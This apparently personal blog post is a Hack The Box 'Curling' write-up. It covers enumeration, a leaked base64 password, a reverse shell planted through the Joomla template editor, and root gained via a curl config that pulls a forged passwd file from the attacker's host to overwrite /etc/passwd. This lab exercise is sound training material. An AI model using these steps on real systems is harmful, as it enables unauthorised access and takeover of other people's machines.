Curling Writeup
01 April 2023 #CTF #HTB #box #easy #linuxEnumeration
Let's go:
$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.10.150
[...]
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
[...]
$ sudo nmap -sCV -p 22,80 -oN enum/initial.nmap 10.10.10.150
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8ad169b490203ea7b65401eb68303aca (RSA)
| 256 9f0bc2b20bad8fa14e0bf63379effb43 (ECDSA)
|_ 256 c12a3544300c5b566a3fa5cc6466d9a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
As nmap
told us, it seems we are dealing with a Joomla blog. We can try to fingerprint the version by getting /administrator/manifests/files/joomla.xml
:
It works, and the version doesn't have a CVE.
Looking through the HTML source, there is an interesting comment at the bottom of the page:
Let's try to check if /secret.txt
actually exists:
$ curl http://10.10.10.150/secret.txt
Q3VybGluZzIwMTgh
It does, and looks like a password.
In the first blog post, there is a potential username:
Foothold
Trying to login as Floris with the contents of /secret.txt
fails. However, if we base64 decode it, we get the actual password:
$ echo Q3VybGluZzIwMTgh | base64 -d
Curling2018!
We can go the admin login page at /administrator
and get access to the admin panel:
In the top bar, go to Extensions -> Templates -> Templates and choose a radom template (I'll use 'protostar'). Then edit a php file and add a reverse shell:
Click 'Save' and just go to the relevant file to get your reverse shell:
$ curl 10.10.10.150/templates/protostar/error.php
Privesc
www-data to floris
We have access to floris' home folder:
www-data@curling:/home/floris$ ls
admin-area password_backup user.txt
This password_backup
sounds interesting:
www-data@curling:/home/floris$ cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48
Let's use xxd
to turn this hexdump back into binary format:
$ xxd -r password_backup > password
$ file password
password.enc: bzip2 compressed data, block size = 900
We can decompress this bzip2 archive with bzcat
:
$ bzcat password > asdf
$ file asdf
asdf: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141
Now we have a gzip archive:
$ mv asdf asdf.gz
$ gunzip asdf.gz
$ file asdf
asdf: bzip2 compressed data, block size = 900k
Here we go again:
$ bzcat asdf > plz
$ file plz
plz: POSIX tar archive (GNU)
I feel like we're getting close now:
$ tar -xf plz
$ ls
asdf.gz asdf enum password password.txt plz
$ cat password.txt
5d<wdCbdZu)|hChXll
Finally, we can log in as floris with this password.
floris to root
After uploading pspy
on the box and running it, we see a cron job executed every minute as root:
floris@curling:/dev/shm/$ ./pspy64
[...]
2023/04/01 16:03:01 CMD: UID=0 PID=28745 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
[...]
The -K
option in curl specifies a config file. In this config file, we can specify options as we would on the command line.
By specifying the output
option in the config file, we can choose where to write.
With an arbitrary file write, there are lots of ways to become root. We'll exploit it by patching /etc/passwd
to change root's password.
First, we'll get the existing /etc/passwd
to our box to modify it.
Next, we can generate a password hash using openssl
:
$ openssl passwd
Password:
Verifying - Password:
$1$Us/fhKsC$I9XApOarJ6usPfJCx5qWC1
This is the hash for 'asdf'.
Edit the first line of the file to replace the 'x' with the hash:
$ head -1 passwd
root:$1$Us/fhKsC$I9XApOarJ6usPfJCx5qWC1:0:0:root:/root:/bin/bash
Now we'll edit the curl config to fetch the new passwd from our python websever and overwrite the real /etc/passwd
:
url = "http://10.10.14.14:8000/passwd"
output = "/etc/passwd"
After 1 minute, we should be able to log in as root with the password 'asdf':
floris@curling:~/admin-area$ su -l
Password:
root@curling:~# id
uid=0(root) gid=0(root) groups=0(root)
Key Takeaways
- Check HTML comments
- Always try to decode stuff that looks like base64
- Admin access in most CMS -> RCE